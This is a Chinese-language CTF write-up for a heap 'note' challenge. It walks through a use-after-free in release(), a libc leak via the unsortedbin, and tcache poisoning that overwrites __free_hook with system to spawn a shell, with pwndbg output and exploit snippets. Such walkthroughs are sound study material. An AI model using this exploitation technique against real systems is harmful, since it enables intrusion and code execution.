Pwn 1.note 1 2 3 4 5 6 7 8 $ checksec pwn[*] '/mnt/hgfs/E/CTF/比赛/NewStar2025/pwn/note/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled Stripped: No
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 unsigned __int64 release() { signed int n0x10; // [rsp +4 h ] [rbp -Ch ] BYREF unsigned __int64 v2; // [rsp +8 h ] [rbp -8 h ] v2 = __readfsqword(0 x28u); printf("input index: " ); __isoc99_scanf("%d" , &n0x10); if ( (unsigned int)n0x10 < 0 x10 ) { if ( *((_QWORD *)&chunk_list + n0x10) ) { puts("the note has been released." ); free(*((void **)&chunk_list + n0x10)); } else { puts("index not used......" ); } } else { puts("index out of range......" ); } return __readfsqword(0 x28u) ^ v2; }
题目也明确说了是uaf,其实就是这里free后未置空。
libc泄露
先利用
1 2 3 4 5 6 add(1 , 0 x500, b'A' * 8 ) add(2 , 0 x20, b'B' * 8 ) release(1 ) leak = u64(show(1 , 8 )) print(hex(leak)) stop()
我们先申请并释放掉一个。一般来说tcache bin的信息如下:
1 2 3 4 5 在 64 位下,很多堆题里默认记: tcache bin 数量:64 每 bin 最多:7 最大 tcache chunk size:0 x410 最大常见申请大小:0 x408
调试一下,我们可以看得到这里是被free到了unsortedbin
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 pwndbg> p &__malloc_hook $1 = (void *(**)(size_t, const void *)) 0 x77b5b1a214a0 <__malloc_hook>pwndbg> p &main_arena $2 = (struct malloc_state *) 0 x77b5b1a1ac80 <main_arena>pwndbg> p &__free_hook $3 = (void (**)(void *, const void *)) 0 x77b5b1a214a8 <__free_hook>pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0 x5e3db7ebd000 Size: 0 x290 (with flag bits: 0 x291) Free chunk (unsortedbin) | PREV_INUSE Addr: 0 x5e3db7ebd290 Size: 0 x510 (with flag bits: 0 x511) fd: 0 x77b5b1a1ace0 bk: 0 x77b5b1a1ace0 pwndbg> heap pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols. This might not work in all cases. Use `help set resolve-heap -via-heuristic ` for more details. Allocated chunk | PREV_INUSE Addr: 0 x5f73f3d2d000 Size: 0 x250 (with flag bits: 0 x251) Free chunk (unsortedbin) | PREV_INUSE Addr: 0 x5f73f3d2d250 Size: 0 x510 (with flag bits: 0 x511) fd: 0 x71ac869ebca0 bk: 0 x71ac869ebca0 Allocated chunk Addr: 0 x5f73f3d2d760 Size: 0 x30 (with flag bits: 0 x30) Top chunk | PREV_INUSE Addr: 0 x5f73f3d2d790 Size: 0 x20870 (with flag bits: 0 x20871)
我们可以看一下__free_hook`__malloc_hook\system`的地址
1 2 3 __malloc_hook = libc_base + 0 x3ebc30 main_arena = libc_base + 0 x3ebc40 unsorted fd/bk 指向的位置 = main_arena + 0 x60
0x71ac86600000是libc_base,所以unsortedbin指向的fd/bk的offset是0x71ac869ebca0 - 0x71ac86600000 = 0x3EBCA0,所以至此我们可以泄露libc:
1 libc_base = unsortedbin指向的fd/bk - 0 x3EBCA0
tcache覆盖freehook为system
我们可以来简单看一下tcache的结构图(每个bin是一个单向链表):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 Thread Local Storage ┌─────────────────────────────────────────────┐ │ tcache (每线程一个) │ │ │ │ tcache_perthread_struct │ │ ┌─────────────────────────────────────────┐ │ │ │ counts[64 ] │ │ │ │ entries[64 ] │ │ │ │ │ │ │ │ entries[0 ] ───────┐ │ │ │ │ entries[1 ] ── NULL│ │ │ │ │ entries[2 ] ── NULL│ │ │ │ │ ... │ │ │ │ └───────────────────│─────────────────────┘ │ └─────────────────────│───────────────────────┘ │ ▼ Heap ┌─────────────────────────────────────────────┐ │ chunk A (free, 已进入 tcache bin[0 ]) │ │ ┌─────────────────────────────────────────┐ │ │ │ prev_size │ │ │ │ size │ │ │ ├─────────────────────────────────────────┤ │ │ │ user data 被复用成 tcache_entry │ │ │ │ ┌─────────────────────────────────────┐ │ │ │ │ │ next ───────────────┐ │ │ │ │ │ └─────────────────────┘ │ │ │ │ └─────────────────────────────────────────┘ │ └─────────────────────────│───────────────────┘ ▼ ┌─────────────────────────────────────────────┐ │ chunk B (free, 已进入 tcache bin[0 ]) │ │ ┌─────────────────────────────────────────┐ │ │ │ prev_size │ │ │ │ size │ │ │ ├─────────────────────────────────────────┤ │ │ │ user data 被复用成 tcache_entry │ │ │ │ ┌─────────────────────────────────────┐ │ │ │ │ │ next ───────────────┐ │ │ │ │ │ └─────────────────────┘ │ │ │ │ └─────────────────────────────────────────┘ │ └─────────────────────────│───────────────────┘ ▼ ┌─────────────────────────────────────────────┐ │ chunk C (free, 已进入 tcache bin[0 ]) │ │ ┌─────────────────────────────────────────┐ │ │ │ prev_size │ │ │ │ size │ │ │ ├─────────────────────────────────────────┤ │ │ │ user data 被复用成 tcache_entry │ │ │ │ ┌─────────────────────────────────────┐ │ │ │ │ │ next = NULL │ │ │ │ │ └─────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────┘ │ └─────────────────────────────────────────────┘
回到地址上看:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 tcache->entries[0 ] | v 0 x555555759260 <── 这是 chunk A 的 user data 地址+0 x00: next / fd = 0 x5555557592a0 +0 x08: key +0 x10: ... ... 对应的 chunk A header 在: 0 x555555759250+0 x00: prev_size +0 x08: size -------------------------------------------- 0 x5555557592a0 <── 这是 chunk B 的 user data 地址+0 x00: next / fd = 0 x5555557592e0 +0 x08: key +0 x10: ... ... 对应的 chunk B header 在: 0 x555555759290+0 x00: prev_size +0 x08: size -------------------------------------------- 0 x5555557592e0 <── 这是 chunk C 的 user data 地址+0 x00: next / fd = NULL +0 x08: key +0 x10: ... ... 对应的 chunk C header 在: 0 x5555557592d0+0 x00: prev_size +0 x08: size
了解完原理之后我们就好理解了,我们申请释放一个chunk之后把next指针指向的地址转为__free_hook,释放后再次申请两个chunk,且add第二个chunk是内容填充为system,至此free->system;最后加一个/bin/sh即可。
(为什么是“释放后再次申请两个chunk”?原因是再申请的第一个chunk的next地址就直指__free_hook,add(4,system_addr)就做到了覆盖地址)
1 2 3 4 5 6 7 8 9 10 11 add(2 , 0 x60, b'C' * 8 ) release(2 ) change(2 , p64(__free_hook)) add(3 , 0 x60, b'D' * 8 ) add(4 , 0 x60, p64(system)) add(5 ,0 x60,b'/bin/sh\x00' ) release(5 ) p.interactive()